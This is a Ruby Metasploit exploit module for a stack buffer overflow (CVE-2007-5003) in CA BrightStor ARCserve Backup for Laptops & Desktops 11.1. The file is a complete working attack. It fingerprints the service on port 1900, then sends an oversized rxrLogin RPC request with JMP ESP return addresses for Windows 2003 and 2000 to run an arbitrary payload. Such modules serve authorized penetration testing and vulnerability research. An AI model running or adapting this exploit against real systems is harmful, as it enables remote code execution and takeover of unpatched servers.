##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
          for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could
          overflow the buffer and execute arbitrary code.
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2007-5003' ],
          [ 'OSVDB', '41353' ],
          [ 'BID', '24348' ],
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 550,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll
          [ 'Windows 2000 SP4 English', { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll
        ],
        'DisclosureDate' => '2007-06-06',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([ Opt::RPORT(1900) ])
  end

  def check
    connect

    sock.put("0000000019rxrGetServerVersion")
    ver = sock.get_once

    disconnect

    if (ver and ver =~ /11\.1\.742/)
      return Exploit::CheckCode::Appears('BrightStor ARCserve version 11.1.742 detected')
    end

    return Exploit::CheckCode::Safe('BrightStor ARCserve version 11.1.742 not detected')
  end

  def exploit
    connect

    buffer = rand_text_alpha_upper(17420) + [target.ret].pack('V')
    buffer << payload.encoded + rand_text_alpha_upper(300)

    sploit = "0000018124" # Command Length Field
    sploit << "rxrLogin" # RPC Command
    sploit << "~~"        # Constant Argument Delimiter
    sploit << buffer      # Argument

    print_status("Trying target #{target.name}...")
    # One-shot overwrite...
    sock.put(sploit)

    handler
    disconnect
  end
end